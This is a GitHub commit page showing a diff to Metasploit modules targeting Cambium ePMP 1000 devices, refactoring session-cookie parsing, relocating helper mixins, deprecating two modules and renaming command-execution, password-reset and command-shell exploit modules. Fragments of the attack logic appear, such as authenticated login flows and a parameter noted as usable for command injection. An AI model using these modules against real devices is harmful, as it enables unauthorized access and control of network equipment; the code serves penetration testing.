Skip to content

Commit 038119d

Browse files
juushyajuushya
committed
Use of get_cookies_parsed, changing dirs, marking deprecated in 2 mods, more
1 parent 674397f commit 038119d

File tree

11 files changed

+73
-49
lines changed

11 files changed

+73
-49
lines changed

‎lib/msf/core/exploit/http/cnpilot.rb renamed to ‎lib/msf/core/auxiliary/cnpilot.rb

File renamed without changes.

‎lib/msf/core/exploit/http/epmp.rb renamed to ‎lib/msf/core/auxiliary/epmp.rb

Lines changed: 36 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -102,23 +102,25 @@ def login_2(user, pass, epmp_ver)
102102
}
103103
)
104104

105+
cookies = res.get_cookies_parsed
106+
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
107+
105108
good_response = (
106109
res &&
107110
res.code == 200 &&
108-
res.headers.include?('Set-Cookie') &&
109-
res.headers['Set-Cookie'].include?('sysauth')
111+
check_sysauth.include?('sysauth')
110112
)
111113

112114
if good_response
113-
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
114-
cookie1 = "#{sysauth_value}"
115+
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
116+
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
115117
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)
116118

117119
res = send_request_cgi(
118120
{
119121
'uri' => '/cgi-bin/luci',
120122
'method' => 'POST',
121-
'cookie' => cookie1,
123+
'cookie' => sysauth_value,
122124
'headers' => {
123125
'X-Requested-With' => 'XMLHttpRequest',
124126
'Accept' => 'application/json, text/javascript, */*; q=0.01',
@@ -136,7 +138,6 @@ def login_2(user, pass, epmp_ver)
136138
good_response = (
137139
res &&
138140
res.code == 200 &&
139-
res.headers.include?('Set-Cookie') &&
140141
!res.body.include?('auth_failed') &&
141142
!res.body.include?('Maximum number of users reached.')
142143
)
@@ -152,20 +153,23 @@ def login_2(user, pass, epmp_ver)
152153
)
153154

154155
# get the cookie now
155-
sysauth_value_2 = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
156-
stok_value_2_dirty = res.body.match(/"stok": "(.*?)"/)
157-
stok_value_2 = "#{stok_value_2_dirty}".split('"')[3]
158-
final_cookie = "#{sysauth_value_2}" + 'usernameType_80=admin; stok_80=' + "#{stok_value_2}"
156+
cookies = res.get_cookies_parsed
157+
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
158+
stok_value = "#{stok_value_dirty}".split('"')[3]
159+
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
160+
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
161+
162+
final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"
159163

160164
# create config_uri for different modules
161-
config_uri_dump_config = '/cgi-bin/luci/;stok=' + "#{stok_value_2}" + '/admin/config_export?opts=json'
162-
config_uri_reset_pass = '/cgi-bin/luci/;stok=' + "#{stok_value_2}" + '/admin/set_param'
163-
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value_2}" + '/admin/get_chart'
165+
config_uri_dump_config = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
166+
config_uri_reset_pass = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/set_param'
167+
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'
164168

165169
return final_cookie, config_uri_dump_config, config_uri_reset_pass, config_uri_get_chart
166170
else
167171
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
168-
vprint_status('Either the credentials are incorrect or Maximum number of logged-in users reached.')
172+
print_status('Either the credentials are incorrect or Maximum number of logged-in users reached.')
169173
final_cookie = 'skip'
170174
config_uri_dump_config = 'skip'
171175
config_uri_reset_pass = 'skip'
@@ -193,17 +197,20 @@ def login_1(user, pass, epmp_ver)
193197
}
194198
)
195199

200+
cookies = res.get_cookies_parsed
201+
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
202+
196203
good_response = (
197204
res &&
198205
res.code == 200 &&
199-
res.headers.include?('Set-Cookie') &&
200-
res.headers['Set-Cookie'].include?('sysauth')
206+
check_sysauth.include?('sysauth')
201207
)
202208

203209
if good_response
204-
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
210+
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
211+
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
205212

206-
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
213+
cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
207214

208215
res = send_request_cgi(
209216
{
@@ -223,11 +230,12 @@ def login_1(user, pass, epmp_ver)
223230
}
224231
)
225232

233+
cookies = res.get_cookies_parsed
234+
226235
good_response = (
227236
res &&
228237
res.code == 200 &&
229-
res.headers.include?('Set-Cookie') &&
230-
res.headers['Set-Cookie'].include?('stok=') &&
238+
cookies.has_key?('stok') &&
231239
!res.body.include?('Maximum number of users reached.')
232240
)
233241

@@ -241,11 +249,13 @@ def login_1(user, pass, epmp_ver)
241249
password: pass
242250
)
243251

244-
# get the cookie now
245-
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
246-
stok_value = get_stok[1]
247-
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
248-
final_cookie = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
252+
# get the final cookie now
253+
cookies = res.get_cookies_parsed
254+
stok_value = cookies.has_key?('stok') && cookies['stok'].first
255+
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
256+
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
257+
258+
final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
249259

250260
# create config_uri for different modules
251261
config_uri_dump_config = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
@@ -256,7 +266,7 @@ def login_1(user, pass, epmp_ver)
256266
return final_cookie, config_uri_dump_config, config_uri_reset_pass, config_uri_get_chart, config_uri_ping
257267
else
258268
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
259-
vprint_status('Either the credentials are incorrect or Maximum number of logged-in users reached.')
269+
print_status('Either the credentials are incorrect or Maximum number of logged-in users reached.')
260270
final_cookie = 'skip'
261271
config_uri_dump_config = 'skip'
262272
config_uri_reset_pass = 'skip'

‎lib/msf/core/auxiliary/mixins.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,3 +31,9 @@
3131
require 'msf/core/auxiliary/redis'
3232
require 'msf/core/auxiliary/sms'
3333
require 'msf/core/auxiliary/mms'
34+
35+
#
36+
# Custom HTTP modules
37+
#
38+
require 'msf/core/exploit/http/cnpilot'
39+
require 'msf/core/exploit/http/epmp'

‎lib/msf/core/exploit/mixins.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -114,8 +114,6 @@
114114
require 'msf/core/exploit/http/joomla'
115115
require 'msf/core/exploit/http/typo3'
116116
require 'msf/core/exploit/http/jboss'
117-
require 'msf/core/exploit/http/cnpilot'
118-
require 'msf/core/exploit/http/epmp'
119117

120118
# Kerberos Support
121119
require 'msf/core/exploit/kerberos/client'

‎modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,9 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::AuthBrute
99
include Msf::Auxiliary::Report
1010
include Msf::Auxiliary::Scanner
11+
include Msf::Module::Deprecated
12+
13+
deprecated(Date.new(2017, 12, 29), 'auxiliary/scanner/admin/http/epmp1000_ping_cmd_exec')
1114

1215
def initialize(info={})
1316
super(update_info(info,

‎modules/auxiliary/admin/http/epmp1000_get_chart_cmd_exec.rb renamed to ‎modules/auxiliary/scanner/http/epmp1000_get_chart_cmd_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -81,9 +81,9 @@ def cmd_exec(config_uri, cookie)
8181

8282
if good_response
8383
path = store_loot('ePMP_cmd_exec', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 Command Exec Results')
84-
print_status("#{rhost}:#{rport} - File saved in: #{path}")
84+
print_status("#{rhost}:#{rport} - Results saved in: #{path}")
8585
else
86-
print_error("#{rhost}:#{rport} - Failed to execute command.")
86+
print_error("#{rhost}:#{rport} - Failed to execute command(s).")
8787
end
8888
end
8989

‎modules/auxiliary/admin/http/epmp1000_ping_cmd_exec.rb renamed to ‎modules/auxiliary/scanner/http/epmp1000_ping_cmd_exec.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ def cmd_exec(config_uri, cookie)
6868
},
6969
'vars_post' =>
7070
{
71-
'ping_ip' => '8.8.8.8', # This parameter can also be used for injection
71+
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
7272
'packets_num' => clean_inject,
7373
'buf_size' => 0,
7474
'ttl' => 1,
@@ -84,9 +84,9 @@ def cmd_exec(config_uri, cookie)
8484

8585
if good_response
8686
path = store_loot('ePMP_cmd_exec', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 Command Exec Results')
87-
print_status("#{rhost}:#{rport} - File saved in: #{path}")
87+
print_status("#{rhost}:#{rport} - Results saved in: #{path}")
8888
else
89-
print_error("#{rhost}:#{rport} - Failed to execute command.")
89+
print_error("#{rhost}:#{rport} - Failed to execute command(s).")
9090
end
9191
end
9292

‎modules/auxiliary/admin/http/epmp1000_reset_pass.rb renamed to ‎modules/auxiliary/scanner/http/epmp1000_reset_pass.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,8 @@ def reset_pass(config_uri, cookie)
7878
res &&
7979
res.code == 200 &&
8080
res.headers.include?('Content-Type') &&
81-
res.headers['Content-Type'].include?('application/json')
81+
res.headers['Content-Type'].include?('application/json')&&
82+
res.body.include?('config_id')
8283
)
8384

8485
if good_response

‎modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,9 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::SNMPClient
88
include Msf::Auxiliary::Report
99
include Msf::Auxiliary::Scanner
10+
include Msf::Module::Deprecated
11+
12+
deprecated(Date.new(2017, 12, 29), 'auxiliary/scanner/snmp/epmp1000_snmp_loot')
1013

1114
def initialize
1215
super(

‎modules/exploits/linux/http/epmp1000_get_chart_cmd_shell.rb renamed to ‎modules/exploits/unix/http/epmp1000_get_chart_cmd_shell.rb

Lines changed: 15 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -128,22 +128,24 @@ def login(user, pass)
128128
)
129129

130130
cookies = res.get_cookies_parsed
131+
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
132+
131133
good_response = (
132134
res &&
133135
res.code == 200 &&
134-
cookies.include?('sysauth')
136+
check_sysauth.include?('sysauth')
135137
)
136138

137139
if good_response
138-
sysauth_value = cookies.match(/((.*)[$ ])/)
139-
cookie1 = "#{sysauth_value}"
140+
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
141+
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
140142
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)
141143

142144
res = send_request_cgi(
143145
{
144146
'uri' => '/cgi-bin/luci',
145147
'method' => 'POST',
146-
'cookie' => cookie1,
148+
'cookie' => sysauth_value,
147149
'headers' => {
148150
'X-Requested-With' => 'XMLHttpRequest',
149151
'Accept' => 'application/json, text/javascript, */*; q=0.01',
@@ -158,11 +160,9 @@ def login(user, pass)
158160
}
159161
)
160162

161-
cookies = res.get_cookies_parsed
162163
good_response = (
163164
res &&
164165
res.code == 200 &&
165-
!cookies.blank? &&
166166
!res.body.include?('auth_failed') &&
167167
!res.body.include?('Maximum number of users reached.')
168168
)
@@ -171,17 +171,20 @@ def login(user, pass)
171171
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
172172

173173
# get the cookie now
174-
sysauth_value_2 = cookies.match(/((.*)[$ ])/)
175-
stok_value_2_dirty = res.body.match(/"stok": "(.*?)"/)
176-
stok_value_2 = "#{stok_value_2_dirty}".split('"')[3]
177-
final_cookie = "#{sysauth_value_2}" + 'usernameType_80=admin; stok_80=' + "#{stok_value_2}"
174+
cookies = res.get_cookies_parsed
175+
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
176+
stok_value = "#{stok_value_dirty}".split('"')[3]
177+
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
178+
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
179+
180+
final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"
178181

179182
# create config_uri
180-
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value_2}" + '/admin/get_chart'
183+
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'
181184
return final_cookie, config_uri_get_chart
182185
else
183186
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
184-
vprint_status('Either the credentials are incorrect or Maximum number of logged-in users reached.')
187+
print_status('Either the credentials are incorrect or Maximum number of logged-in users reached.')
185188
final_cookie = 'skip'
186189
config_uri_get_chart = 'skip'
187190
return final_cookie, config_uri_get_chart

0 commit comments

Comments
 (0)